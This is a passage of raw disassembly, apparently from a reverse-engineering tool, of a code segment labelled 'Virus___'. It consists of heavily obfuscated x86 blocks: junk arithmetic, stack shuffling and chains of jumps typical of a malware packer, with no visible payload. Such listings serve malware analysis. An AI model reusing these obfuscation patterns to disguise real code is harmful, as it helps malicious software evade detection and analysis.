XREF: Virus___:0055B522j push bx mov bl, 1Dh or ah, bl pop bx xor ah, 9Dh sub ch, ah pop eax sub bl, 89h jmp loc_552780 ; --------------------------------------------------------------------------- loc_552E2F: ; CODE XREF: Virus___:00557724j sub edx, 2D273DACh sub edi, 350C42EEh sub edi, edx add edi, 350C42EEh mov edx, [esp] add esp, 4 add eax, edi mov edi, [esp] add esp, 4 push ecx mov ecx, 0D93220h sub eax, ecx mov ecx, [esp] add esp, 4 sub eax, edx add eax, 0D93220h sub eax, 1FA451D4h push dword ptr [esp] push dword ptr [esp] pop edx add esp, 4 add esp, 4 xor ebx, eax jmp loc_5604D6 ; --------------------------------------------------------------------------- loc_552E85: ; CODE XREF: Virus___:00560A2Cj mov ecx, [esp] jmp loc_55105A ; --------------------------------------------------------------------------- loc_552E8D: ; CODE XREF: Virus___:005613AAj push 64635EA6h mov ecx, [esp] jmp loc_56354C ; --------------------------------------------------------------------------- loc_552E9A: ; CODE XREF: Virus___:00557F2Bj sub cl, 3 jmp loc_556F21 ; --------------------------------------------------------------------------- loc_552EA2: ; CODE XREF: Virus___:00553610j mov cl, 2Eh add al, 94h add al, 0DAh jmp loc_55B224 ; --------------------------------------------------------------------------- loc_552EAD: ; CODE XREF: Virus___:00562B66j pop esi jmp loc_56396D ; --------------------------------------------------------------------------- loc_552EB3: ; CODE XREF: Virus___:005600FDj sub edi, 50B748F3h push dword ptr [esp] pop esi add esp, 4 and edi, 461D39EEh jmp loc_56447A ; --------------------------------------------------------------------------- loc_552ECE: ; CODE XREF: Virus___:0056290Fj sub bl, ch jmp loc_55D8D1 ; --------------------------------------------------------------------------- loc_552ED5: ; CODE XREF: Virus___:00557072j push 0E11h mov [esp], ebp push esi mov esi, 4 mov ebp, esi pop esi sub edx, 6C727BCBh jmp loc_5631E8 ; --------------------------------------------------------------------------- loc_552EF1: ; CODE XREF: Virus___:00555CDEj add esp, 4 pop dword ptr [esp] mov esp, [esp] test cx, ax pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_552F03: ; CODE XREF: Virus___:0055DFDBj pop eax jmp loc_558685 ; --------------------------------------------------------------------------- loc_552F09: ; CODE XREF: Virus___:0055E939j xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] push ecx mov ecx, esp push esi mov esi, 4 add ecx, esi push dword ptr [esp] pop esi add esp, 4 push eax mov eax, 4 jmp loc_556570 ; --------------------------------------------------------------------------- loc_552F32: ; CODE XREF: Virus___:0055134Ej add esp, 4 jmp loc_55883B ; --------------------------------------------------------------------------- loc_552F3D: ; CODE XREF: Virus___:0056436Fj mov esi, 61CCC87Ah sub ebx, esi pop esi add edx, ebx pop ebx add edx, 843F49C7h jmp loc_5538D2 ; --------------------------------------------------------------------------- loc_552F53: ; CODE XREF: Virus___:00556447j and edx, 2B73371Bh dec edx xor edx, 199D46B9h mov ecx, edx pop edx dec ecx jmp loc_551FE8 ; --------------------------------------------------------------------------- loc_552F69: ; CODE XREF: Virus___:00556016j mov [esp], dx push ebx mov bh, 9Ah or bh, 59h sub bh, 6Ah xor bh, 50h jmp loc_562945 ; --------------------------------------------------------------------------- loc_552F7E: ; CODE XREF: Virus___:0055E2BCj push dword ptr [esp] pop edi push edx mov edx, esp add edx, 4 add edx, 4 push edx push dword ptr [esp+4] pop edx jmp loc_563533 ; --------------------------------------------------------------------------- loc_552F99: ; CODE XREF: Virus___:0055245Aj pop ecx sub ecx, 2C8755B7h pop esi sub ecx, 1 and ecx, 66F8487Dh xchg eax, ecx xchg eax, ecx not ecx xchg eax, ecx xchg eax, ecx sub ecx, 703E3D4Fh push ebp mov ebp, 2979BAACh sub ecx, ebp jmp loc_561471 ; --------------------------------------------------------------------------- loc_552FC3: ; CODE XREF: Virus___:0055F4A3j pop eax jmp loc_55101D ; --------------------------------------------------------------------------- loc_552FC9: ; CODE XREF: Virus___:0054F7EEj xor al, bl push 6F69h mov [esp], ecx push dx push ecx sub esp, 2 jmp loc_55412B ; --------------------------------------------------------------------------- loc_552FDE: ; CODE XREF: Virus___:00556C79j push 43125E92h pop eax or eax, 103F3D6Bh or eax, 7ECA1325h xor eax, 1B3E4662h and ebp, eax pop eax jmp loc_561BAA ; --------------------------------------------------------------------------- loc_552FFB: ; CODE XREF: Virus___:0055744Bj add ebp, 1B3A0F66h jmp loc_558CF2 ; --------------------------------------------------------------------------- loc_553006: ; CODE XREF: Virus___:005597E1j mov edi, [esp] add esp, 4 add eax, 4 jmp loc_554823 ; --------------------------------------------------------------------------- loc_553017: ; CODE XREF: Virus___:00553A1Aj sub ebx, 37D77BC3h jmp loc_556C62 ; --------------------------------------------------------------------------- loc_553022: ; CODE XREF: Virus___:0055EE1Bj push eax push 70E806B5h jmp loc_553D14 ; --------------------------------------------------------------------------- loc_55302D: ; CODE XREF: Virus___:0055239Aj shr ecx, 1 not ecx not ecx inc ecx sub ecx, 82C799EDh sub eax, ecx pop ecx add eax, 7655C810h add ecx, eax push dword ptr [esp] pop eax add esp, 4 push 7E82h mov [esp], edi mov edi, 4 push ebp mov ebp, 1C861B88h sub ebp, 1 push esi mov esi, 9E30C48h sub ebp, esi pop esi sub ecx, 46F37663h jmp loc_55DB13 ; --------------------------------------------------------------------------- loc_553075: ; CODE XREF: Virus___:0055725Bj add edi, 4 xchg edi, [esp] pop esp add edx, 1A445F4Dh add edx, ecx sub edx, 1A445F4Dh pop ecx xchg edx, [esp] mov esp, [esp] shr byte ptr [esp], cl pushf jmp loc_55FC1D ; --------------------------------------------------------------------------- loc_55309D: ; CODE XREF: Virus___:0056256Ej push 0B743F6F1h jmp loc_55E2B9 ; --------------------------------------------------------------------------- loc_5530A7: ; CODE XREF: Virus___:005572A8j sub edx, 91685B1Ch sub edx, 1BE74697h sub edx, ebx add edx, 1BE74697h xor ebx, edx xor edx, ebx xor ebx, edx pop edx add ebx, 60B56B65h add eax, ebx jmp loc_558ECF ; --------------------------------------------------------------------------- loc_5530CF: ; CODE XREF: Virus___:00550A43j mov ebp, 4 jmp loc_55AC97 ; --------------------------------------------------------------------------- loc_5530D9: ; CODE XREF: Virus___:0055F50Dj shl ecx, 4 shr ecx, 5 jmp loc_55FBDD ; --------------------------------------------------------------------------- loc_5530E4: ; CODE XREF: Virus___:00554C64j mov [esp], ecx jmp loc_54FBC0 ; --------------------------------------------------------------------------- loc_5530EC: ; CODE XREF: Virus___:0055F13Cj add ax, 16C7h jmp loc_5623F6 ; --------------------------------------------------------------------------- loc_5530F5: ; CODE XREF: Virus___:0055CA4Ej push eax mov al, 0A0h jmp loc_56430C ; --------------------------------------------------------------------------- loc_5530FD: ; CODE XREF: Virus___:0055CEEDj add esp, 4 push ebx not dword ptr [esp] pop ebx jmp loc_55FCC9 ; --------------------------------------------------------------------------- loc_55310D: ; CODE XREF: Virus___:00564260j mov [esp], edx push 21A7h sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] push edi mov edi, 4 add [esp+4], edi pop edi jmp loc_5550C5 ; --------------------------------------------------------------------------- loc_553135: ; CODE XREF: Virus___:0055EB5Bj xchg ecx, [esp] pop esp mov [esp], edi mov edi, 4 jmp loc_557648 ; --------------------------------------------------------------------------- loc_553146: ; CODE XREF: Virus___:0055A26Ej mov eax, 3CA538Fh add eax, 203804ECh shr eax, 2 jmp loc_5596F9 ; --------------------------------------------------------------------------- loc_553158: ; CODE XREF: Virus___:00561CA9j add ecx, edi jmp loc_552020 ; --------------------------------------------------------------------------- loc_55315F: ; CODE XREF: Virus___:0055988Dj push ebp mov ebp, 4 jmp loc_552659 ; --------------------------------------------------------------------------- loc_55316A: ; CODE XREF: Virus___:00557B4Ej pop esi sub ecx, 0BAE1DCFh jmp loc_55C3ED ; --------------------------------------------------------------------------- loc_553176: ; CODE XREF: Virus___:005589FCj mov ecx, [esp] push ebp jmp loc_5528C5 ; --------------------------------------------------------------------------- loc_55317F: ; CODE XREF: Virus___:0055F4BEj add esi, 0BD350F1h jmp loc_55C746 ; --------------------------------------------------------------------------- loc_55318A: ; CODE XREF: Virus___:00561E6Fj pop ebx push edx mov dh, 0C9h push ebx push edx mov dl, ah jmp loc_5642AF ; --------------------------------------------------------------------------- loc_553197: ; CODE XREF: Virus___:00556D9Ej add ebx, ebp sub ebx, 26282E16h add ebx, 7E6B6CD1h pop ebp push ebp mov ebp, 4 add ebx, ebp mov ebp, [esp] add esp, 4 xchg ebx, [esp] pop esp jmp loc_54FCD8 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax adc [esp], ax pushf jmp loc_564265 ; --------------------------------------------------------------------------- loc_5531D0: ; CODE XREF: Virus___:00560CF0j inc esi jmp loc_563898 ; --------------------------------------------------------------------------- loc_5531D6: ; CODE XREF: Virus___:00551C95j pop ecx mov ebp, [esp] add esp, 4 jmp loc_54F861 ; --------------------------------------------------------------------------- loc_5531E2: ; CODE XREF: Virus___:0055CF1Bj push 41ADh mov [esp], ebx mov ebx, 59554357h or edx, ebx pop ebx jmp loc_5596CF ; --------------------------------------------------------------------------- loc_5531F7: ; CODE XREF: Virus___:0054F96Ej push edx mov dh, 20h push edx xchg cl, [esp+1] not cl xchg cl, [esp+1] jmp loc_5598D6 ; --------------------------------------------------------------------------- loc_55320A: ; CODE XREF: Virus___:00562EB7j xor ebx, 9CD6A6D4h jmp loc_555F34 ; --------------------------------------------------------------------------- loc_553215: ; CODE XREF: Virus___:00554255j push 829h mov [esp], esp push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] jmp loc_555FF9 ; --------------------------------------------------------------------------- loc_553231: ; CODE XREF: Virus___:0055507Ej mov esi, esp jmp loc_563289 ; --------------------------------------------------------------------------- loc_553238: ; CODE XREF: Virus___:00558359j pop ebp push ecx mov ecx, 6E9E6299h xor ebp, ecx mov ecx, [esp] add esp, 4 pop esi mov eax, ebp pop ebp push edx push esp pop edx jmp loc_554954 ; --------------------------------------------------------------------------- loc_553256: ; CODE XREF: Virus___:00552A82j mov esi, esp add esi, 4 add esi, 4 jmp loc_559197 ; --------------------------------------------------------------------------- loc_553269: ; CODE XREF: Virus___:0055FD1Ej mov esi, 77EF1A61h xor esi, ebx pop ebx push eax mov eax, 7FA62B08h add [esp+8], eax pop eax add [esp+4], esi sub dword ptr [esp+4], 7FA62B08h mov esi, [esp] add esp, 4 jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_553293: ; CODE XREF: Virus___:0055AEBCj mov esp, [esp] push dword ptr [esp] mov ecx, [esp] push edx mov edx, esp add edx, 4 sub esp, 4 mov [esp], ebp mov ebp, 4 jmp loc_5568ED ; --------------------------------------------------------------------------- loc_5532B5: ; CODE XREF: Virus___:00559C61j push 3750h mov [esp], ecx jmp loc_555747 ; --------------------------------------------------------------------------- loc_5532C2: ; CODE XREF: Virus___:00551862j mov esi, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] add esp, 4 loc_5532D4: ; CODE XREF: Virus___:0054F8F8j ; Virus___:0055C30Aj sub esp, 4 mov [esp], ebp push esi jmp loc_556CEF ; --------------------------------------------------------------------------- loc_5532E3: ; CODE XREF: Virus___:0055AF72j push 4982h push esp pop dword ptr [esp] push 4A68h mov [esp], esi mov esi, 4 add [esp+4], esi jmp loc_556047 ; --------------------------------------------------------------------------- loc_553302: ; CODE XREF: Virus___:0055D4BEj push 7DB23E76h mov esi, [esp] add esp, 4 jmp loc_55E86D ; --------------------------------------------------------------------------- loc_553315: ; CODE XREF: Virus___:00554CEFj sub esi, ecx pop ecx add eax, 588978D5h add eax, esi push ecx mov ecx, 588978D5h sub eax, ecx pop ecx mov esi, [esp] add esp, 4 sub eax, 20C67282h add eax, 5AF24CF2h add eax, ebx sub eax, 5AF24CF2h push 1D85h mov [esp], ecx mov ecx, 37D63918h sub ecx, 35B866DBh sub ecx, 1D0E765Ch add ecx, 1 or ecx, 3F8E297Fh shr ecx, 5 jmp loc_55D638 ; --------------------------------------------------------------------------- loc_55336F: ; CODE XREF: Virus___:0055AD8Aj sub edx, 6FB71CCCh add edx, esi add edx, 6FB71CCCh mov esi, [esp] push eax mov eax, esp add eax, 4 jmp loc_561C7F ; --------------------------------------------------------------------------- loc_55338D: ; CODE XREF: Virus___:005638E0j mov esp, [esp] push dword ptr [esp] jmp loc_55EB29 ; --------------------------------------------------------------------------- loc_553398: ; CODE XREF: Virus___:0055EA65j push 2812h mov [esp], eax mov eax, esp sub esp, 4 mov [esp], edx mov edx, 4 add eax, edx mov edx, [esp] add esp, 4 push ebp push ebx mov ebx, 7C9104E2h not ebx sub ebx, 836EFB1Bh mov ebp, ebx pop ebx sub eax, ebp mov ebp, [esp] sub esp, 4 mov [esp], ebp jmp loc_55B0C4 ; --------------------------------------------------------------------------- loc_5533DD: ; CODE XREF: Virus___:00555634j add esp, 4 jmp loc_558F83 ; --------------------------------------------------------------------------- loc_5533E8: ; CODE XREF: Virus___:0054FB8Bj add al, bh mov bx, [esp] push 43ABh mov [esp], ecx mov ecx, esp push esi mov esi, 4 jmp loc_5525D1 ; --------------------------------------------------------------------------- loc_553403: ; CODE XREF: Virus___:00558F1Bj add ebx, 591C7C70h add ebx, esi sub ebx, 591C7C70h pop esi sub ebx, 2 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_5550E1 ; --------------------------------------------------------------------------- loc_553426: ; CODE XREF: Virus___:0055C137j mov edx, 3DCE450Bh and edx, 53F51A06h dec edx add edx, 331F5743h sub ecx, edx pop edx add ecx, ebp add ecx, 44E35744h mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], ebx push 4 pop ebx add ecx, ebx pop ebx xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_55DC66 ; --------------------------------------------------------------------------- loc_553466: ; CODE XREF: Virus___:005639A0j sub eax, 41FC2DC6h sub eax, 727113D1h pop edx sub eax, 900A1A08h mov edx, eax pop eax jmp loc_5534C8 ; --------------------------------------------------------------------------- loc_55347E: ; CODE XREF: Virus___:0055EDFFj push ecx mov ecx, 4 push esi mov esi, 2D94532Eh sub ebx, esi jmp loc_55BD84 ; --------------------------------------------------------------------------- loc_553491: ; CODE XREF: Virus___:00557883j pop esp mov [esp], eax mov eax, 7E546E91h xor eax, 2D402EF6h sub eax, 0E8F6CC76h jmp loc_5646BC ; --------------------------------------------------------------------------- loc_5534A9: ; CODE XREF: Virus___:00561AD3j mov esi, 770F4A70h jmp loc_553DA7 ; --------------------------------------------------------------------------- loc_5534B3: ; CODE XREF: Virus___:0055F566j xchg ecx, [esp] mov esp, [esp] jmp loc_5516F3 ; --------------------------------------------------------------------------- loc_5534BE: ; CODE XREF: Virus___:005609D7j shr edi, 2 not edi jmp loc_55AAAF ; --------------------------------------------------------------------------- loc_5534C8: ; CODE XREF: Virus___:00553479j or edx, 6626805h shl edx, 3 shr edx, 7 push eax jmp loc_550242 ; --------------------------------------------------------------------------- loc_5534DA: ; CODE XREF: Virus___:00557718j push esi jmp loc_55742F ; --------------------------------------------------------------------------- loc_5534E0: ; CODE XREF: Virus___:0055F3D9j push dword ptr [esp+4] push dword ptr [esp] pop ebp add esp, 4 pop dword ptr [esp] mov esp, [esp] mov cx, [esp] push eax push 5FA4h mov [esp], esp jmp loc_554ABB ; --------------------------------------------------------------------------- loc_553506: ; CODE XREF: Virus___:00557292j mov ebx, edx jmp loc_552778 ; --------------------------------------------------------------------------- loc_55350D: ; CODE XREF: Virus___:005551CFj add edx, 3D1226DEh sub edx, edi jmp loc_55557C ; --------------------------------------------------------------------------- loc_55351A: ; CODE XREF: Virus___:00550D69j mov ebx, esp push ebp mov ebp, 4 add ebx, ebp pop ebp add ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_55A41F ; --------------------------------------------------------------------------- loc_553536: ; CODE XREF: Virus___:00550256j push dword ptr [esp] pop esi add esp, 4 jmp loc_552427 ; --------------------------------------------------------------------------- loc_553545: ; CODE XREF: Virus___:00551A93j add edi, 24E67B63h add edi, 47F97713h not edi sub edi, 0BB6C494Eh jmp loc_563D24 ; --------------------------------------------------------------------------- loc_55355E: ; CODE XREF: Virus___:00551BD6j add ecx, 4 push ebx mov ebx, 4 jmp loc_55DE3C ; --------------------------------------------------------------------------- loc_55356F: ; CODE XREF: Virus___:0055CFC0j mov ebx, edx pop edx jmp loc_561820 ; --------------------------------------------------------------------------- loc_553577: ; CODE XREF: Virus___:00564CACj mov esp, [esp] movsx ecx, ax push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], esi mov esi, esp add esi, 4 push eax mov eax, 4 sub esi, eax jmp loc_55DA8E ; --------------------------------------------------------------------------- loc_5535A5: ; CODE XREF: Virus___:00551650j mov ecx, esp sub esp, 4 mov [esp], ebp mov ebp, 4 add ecx, ebp jmp loc_563DCD ; --------------------------------------------------------------------------- loc_5535BC: ; CODE XREF: Virus___:00561657j xor ecx, ebx mov ebx, [esp] add esp, 4 push ebp mov ebp, 20713C53h and ecx, ebp mov ebp, [esp] add esp, 4 jmp loc_5640BD ; --------------------------------------------------------------------------- loc_5535D7: ; CODE XREF: Virus___:00553B01j push 0B1Eh mov [esp], edx push edi push eax push 15E23FB2h pop eax not eax sub eax, 0FFFFFFFFh push 5AD9h mov [esp], edi push ebp mov ebp, 8AE5D7BFh mov edi, ebp jmp loc_552651 ; --------------------------------------------------------------------------- loc_553601: ; CODE XREF: Virus___:00557F0Dj mov edi, 4 add ebx, edi pop edi jmp loc_551DE4 ; --------------------------------------------------------------------------- lodsb push ecx jmp loc_552EA2 ; --------------------------------------------------------------------------- loc_553615: ; CODE XREF: Virus___:00564985j mov [esp], esp sub esp, 4 mov [esp], eax mov eax, 4 jmp loc_55927E ; --------------------------------------------------------------------------- loc_55362B: ; CODE XREF: Virus___:0055FD5Cj push ebx mov bl, 0F2h sub bl, 0B9h neg bl or bl, 0Eh or bl, 5Fh xor bl, 0E2h add dl, bl jmp loc_55B1F5 ; --------------------------------------------------------------------------- mov ax, [esp] push 21A3h mov [esp], ebx push 6598h mov [esp], esp push eax mov eax, 4 add dword ptr [esp+4], 2A226D79h jmp loc_561698 ; --------------------------------------------------------------------------- loc_55366A: ; CODE XREF: Virus___:0055271Bj mov esi, ebx jmp loc_54FD30 ; --------------------------------------------------------------------------- loc_553671: ; CODE XREF: Virus___:00554DADj xor esi, eax pop eax mov edx, esi pop esi jmp loc_55E8FF ; --------------------------------------------------------------------------- loc_55367C: ; CODE XREF: Virus___:0055B658j add dword ptr [esp], 4 pop eax push 2311h jmp loc_550111 ; --------------------------------------------------------------------------- loc_55368B: ; CODE XREF: Virus___:0055047Ej push 0D81h mov [esp], edx sub esp, 4 mov [esp], esp jmp loc_55245F ; --------------------------------------------------------------------------- loc_5536A1: ; CODE XREF: Virus___:0055595Fj xchg dl, bl inc bl push 0 sub [esp], bl mov bl, [esp] add esp, 4 jmp loc_559C5E ; --------------------------------------------------------------------------- loc_5536B8: ; CODE XREF: Virus___:0055CD98j add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp xor [esp], edi xor edi, [esp] xor [esp], edi mov eax, [esp] push ebx mov ebx, esp add ebx, 4 jmp loc_555FCD ; --------------------------------------------------------------------------- loc_5536DF: ; CODE XREF: Virus___:00560928j mov esi, 5BD26207h xor [esp+4], esi pop esi pop eax sub esp, 4 jmp loc_5515C0 ; --------------------------------------------------------------------------- loc_5536F5: ; CODE XREF: Virus___:005610CFj sub esi, 2C5B8Dh mov ecx, esi pop esi sub ebx, ecx jmp loc_55C50C ; --------------------------------------------------------------------------- loc_553705: ; CODE XREF: Virus___:0055DC2Dj mov eax, 2 jmp loc_556EC0 ; --------------------------------------------------------------------------- loc_55370F: ; CODE XREF: Virus___:00559DF3j sub bl, 5Fh add bl, 5Dh jmp loc_550008 ; --------------------------------------------------------------------------- loc_55371A: ; CODE XREF: Virus___:00551A76j push edx push 13114BD1h jmp loc_55096D ; --------------------------------------------------------------------------- loc_553725: ; CODE XREF: Virus___:005502D9j pop esp jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55372B: ; CODE XREF: Virus___:00559CE7j mov ebx, [esp] add esp, 4 push edi jmp loc_552953 ; --------------------------------------------------------------------------- loc_55373A: ; CODE XREF: Virus___:00550EB3j push esi jmp loc_55763C ; --------------------------------------------------------------------------- loc_553740: ; CODE XREF: Virus___:0055A27Fj mov esp, [esp] mov [esp], esp add dword ptr [esp], 4 pop ebp add ebp, 4 jmp loc_550FE7 ; --------------------------------------------------------------------------- mov cx, [esp] push edi mov edi, esp push esi mov esi, 59B1048Fh xor esi, 59B1048Bh jmp loc_5516A0 ; --------------------------------------------------------------------------- loc_553771: ; CODE XREF: Virus___:00561CDAj push ecx mov ecx, 62E06D55h jmp loc_558127 ; --------------------------------------------------------------------------- loc_55377C: ; CODE XREF: Virus___:0055EB6Bj add esp, 4 jmp loc_554CC1 ; --------------------------------------------------------------------------- loc_553784: ; CODE XREF: Virus___:0055699Cj xor edi, 0ADFB1B92h sub edx, 2D2A6454h sub edx, edi push ebp mov ebp, 2D2A6454h add edx, ebp pop ebp jmp loc_554260 ; --------------------------------------------------------------------------- loc_5537A0: ; CODE XREF: Virus___:00556294j mov [esp], ebp mov ebp, 4 add edi, ebp pop ebp xchg edi, [esp] mov esp, [esp] push 941h mov [esp], edx jmp loc_55C461 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_560049 ; --------------------------------------------------------------------------- loc_5537C7: ; CODE XREF: Virus___:005561F8j pop esp pop ebx jmp loc_558366 ; --------------------------------------------------------------------------- loc_5537CE: ; CODE XREF: Virus___:00558F59j mov ebp, ecx push dword ptr [esp] jmp loc_55F1D3 ; --------------------------------------------------------------------------- loc_5537D8: ; CODE XREF: Virus___:00551663j push ecx mov cl, 0E7h push ebx mov bh, cl mov dh, bh pop ebx pop ecx sub cl, 0E7h add cl, dh add cl, 0E7h mov dx, [esp] add esp, 2 add cl, 3 jmp loc_557F29 ; --------------------------------------------------------------------------- loc_5537F9: ; CODE XREF: Virus___:00560067j dec edx shr edx, 1 xor edx, 5BEE2C84h add edx, 90BABACh add ecx, 68E57B3h add ecx, edx jmp loc_556B45 ; --------------------------------------------------------------------------- loc_553815: ; CODE XREF: Virus___:00564651j mov ecx, esp push 7144h mov [esp], eax mov eax, 51F237A6h shr eax, 3 neg eax jmp loc_55AF35 ; --------------------------------------------------------------------------- loc_55382E: ; CODE XREF: Virus___:00558ECAj sub ebp, esi jmp loc_5514D0 ; --------------------------------------------------------------------------- loc_553835: ; CODE XREF: Virus___:00561FE2j xor eax, ecx push 71A4h jmp loc_55CDAD ; --------------------------------------------------------------------------- loc_553841: ; CODE XREF: Virus___:00558E1Bj push ecx mov ecx, 2A484395h not ecx push eax push edi mov edi, 0 mov eax, edi pop edi jmp loc_55E8C1 ; --------------------------------------------------------------------------- loc_553858: ; CODE XREF: Virus___:0055C2A1j dec ebx shr ebx, 5 sub ebx, 63217B12h xor ebx, 9E07481Ch mov eax, ebx pop ebx jmp loc_55722D ; --------------------------------------------------------------------------- loc_553870: ; CODE XREF: Virus___:00556D5Fj push dword ptr [esp] pop ebp add esp, 4 jmp loc_564116 ; --------------------------------------------------------------------------- loc_55387C: ; CODE XREF: Virus___:005547EBj add ecx, 257C6AD5h jmp loc_55BF99 ; --------------------------------------------------------------------------- loc_553887: ; CODE XREF: Virus___:0055F2B3j push eax add dword ptr [esp], 21AC372Eh mov ebx, [esp] add esp, 4 jmp loc_551E7F ; --------------------------------------------------------------------------- loc_55389A: ; CODE XREF: Virus___:00560442j sub bl, 16h sub cl, bl jmp loc_55F48F ; --------------------------------------------------------------------------- loc_5538A4: ; CODE XREF: Virus___:00554B71j inc ebx add ebx, 0B17D54EAh xor edi, ebx pop ebx sub ebx, edi pop edi mov ecx, ebx push dword ptr [esp] mov ebx, [esp] add esp, 4 jmp loc_556405 ; --------------------------------------------------------------------------- loc_5538C4: ; CODE XREF: Virus___:005502F5j xor [esp], ebp xor ebp, [esp] mov esp, [esp] jmp loc_561529 ; --------------------------------------------------------------------------- loc_5538D2: ; CODE XREF: Virus___:00552F4Ej push eax mov eax, 284F4274h sub ebx, eax pop eax add ebx, 202C74FEh sub ebx, edx sub ebx, 202C74FEh add ebx, 284F4274h pop edx add edx, ebx mov ebx, [esp] add esp, 4 mov edi, edx mov edx, [esp] add esp, 4 sub eax, 19DE1498h add eax, edi add eax, 19DE1498h push dword ptr [esp] pop edi add esp, 4 add eax, 2 xchg eax, [esp] mov esp, [esp] dec byte ptr [esp] pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_553928: ; CODE XREF: Virus___:005608F4j mov [esp], esi push esp pop esi push edx jmp loc_555CF6 ; --------------------------------------------------------------------------- loc_553933: ; CODE XREF: Virus___:0056252Bj sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] jmp loc_557F6B ; --------------------------------------------------------------------------- loc_55394A: ; CODE XREF: Virus___:005568E8j add ebp, eax sub ebp, 506F78EAh push ecx mov ecx, 5F325DC6h sub ebp, ecx jmp loc_5528BE ; --------------------------------------------------------------------------- loc_55395F: ; CODE XREF: Virus___:005544E4j push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55396D: ; CODE XREF: Virus___:0054FA73j add esp, 4 jmp loc_559CC0 ; --------------------------------------------------------------------------- push edi push esp jmp loc_5643A5 ; --------------------------------------------------------------------------- loc_55397C: ; CODE XREF: Virus___:00564BE3j sub edi, 6E2C2838h add edi, ebx add edi, 6E2C2838h push esi mov esi, 74C3566h jmp loc_5600F1 ; --------------------------------------------------------------------------- loc_553995: ; CODE XREF: Virus___:00554D51j mov [esp], ebx jmp loc_55B1DC ; --------------------------------------------------------------------------- loc_55399D: ; CODE XREF: Virus___:005628D6j mov esp, [esp] mov [esp], ecx push esp jmp loc_557AC3 ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] add esp, 4 push ecx push 5207h mov [esp], esp add dword ptr [esp], 4 pop ecx push edx mov edx, 32F24364h add edx, 182E37DEh push ecx mov ecx, 2DA57A4Ah push edx mov edx, 3B314D09h jmp loc_54FD0D ; --------------------------------------------------------------------------- loc_5539DD: ; CODE XREF: Virus___:0055B48Fj mov esi, 39033CCDh xor esi, 611B0A0Dh inc esi neg esi inc esi sub esi, 6937C6A7h sub ebx, esi pop esi push dword ptr [esp] pop esi push eax mov eax, esp push ebx mov ebx, 430D05E1h shl ebx, 6 sub ebx, 1FC61460h add ebx, 1ED41455h shr ebx, 5 or ebx, 33C72987h jmp loc_553017 ; --------------------------------------------------------------------------- loc_553A1F: ; CODE XREF: Virus___:00560ECEj mov edi, 6C8A1A99h xor ebp, edi mov edi, [esp] add esp, 4 shr ebp, 5 shr ebp, 8 sub esp, 4 jmp loc_55A337 ; --------------------------------------------------------------------------- loc_553A3D: ; CODE XREF: Virus___:00558494j push 2A1Ch mov [esp], ebx mov bl, 6Bh mov cl, bl mov ebx, [esp] add esp, 4 add al, cl mov ecx, [esp] add esp, 4 add al, bl jmp loc_55CB4A ; --------------------------------------------------------------------------- loc_553A61: ; CODE XREF: Virus___:0055830Aj xchg ecx, [esp] pop esp jmp loc_55018C ; --------------------------------------------------------------------------- loc_553A6A: ; CODE XREF: Virus___:00552211j push ecx jmp loc_55263D ; --------------------------------------------------------------------------- loc_553A70: ; CODE XREF: Virus___:00554160j sub esp, 4 mov [esp], edi mov edi, 1AEF2D72h push eax jmp loc_55F0C0 ; --------------------------------------------------------------------------- loc_553A81: ; CODE XREF: Virus___:0055A667j xchg esi, ecx sub esp, 4 jmp loc_555625 ; --------------------------------------------------------------------------- loc_553A8E: ; CODE XREF: Virus___:00559572j push edx mov edx, 2463EDCh add edx, 0FFFFFFFFh shr edx, 3 push eax mov eax, 48C7D9h sub edx, eax pop eax add ebp, edx pop edx jmp loc_55AB88 ; --------------------------------------------------------------------------- loc_553AAB: ; CODE XREF: Virus___:0055AC19j mov [esp], eax mov eax, 4 add dword ptr [esp+4], 0DB17A0Fh add [esp+4], eax sub dword ptr [esp+4], 0DB17A0Fh mov eax, [esp] add esp, 4 mov edi, [esp] add esp, 4 sub esp, 4 mov [esp], eax mov eax, 38A1090Ah jmp loc_5640C8 ; --------------------------------------------------------------------------- loc_553AE6: ; CODE XREF: Virus___:0055E147j push 771E30C7h jmp loc_5641E0 ; --------------------------------------------------------------------------- loc_553AF0: ; CODE XREF: Virus___:00561209j pop esp or ecx, ecx jz loc_55E82A push 7EDFh mov [esp], esp jmp loc_5535D7 ; --------------------------------------------------------------------------- loc_553B06: ; CODE XREF: Virus___:0054FF2Dj push ebp jmp loc_55C1EE ; --------------------------------------------------------------------------- loc_553B0C: ; CODE XREF: Virus___:00557BC8j add ebp, edi jmp loc_557269 ; --------------------------------------------------------------------------- loc_553B13: ; CODE XREF: Virus___:0055C7EEj add eax, 4 xchg eax, [esp] pop esp push ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] pop dword ptr [esp] jmp loc_5596DA ; --------------------------------------------------------------------------- loc_553B35: ; CODE XREF: Virus___:00555B54j mov ch, 0E6h jmp loc_55CAA6 ; --------------------------------------------------------------------------- loc_553B3C: ; CODE XREF: Virus___:005512F5j mov ebx, 67792B86h jmp loc_55AA23 ; --------------------------------------------------------------------------- loc_553B46: ; CODE XREF: Virus___:0055E1F7j push eax mov eax, 24E66A50h push edx jmp loc_557F41 ; --------------------------------------------------------------------------- loc_553B52: ; CODE XREF: Virus___:0055940Aj or ebp, edi pop edi push edi mov edi, 72947C1Ch jmp loc_563479 ; --------------------------------------------------------------------------- loc_553B60: ; CODE XREF: 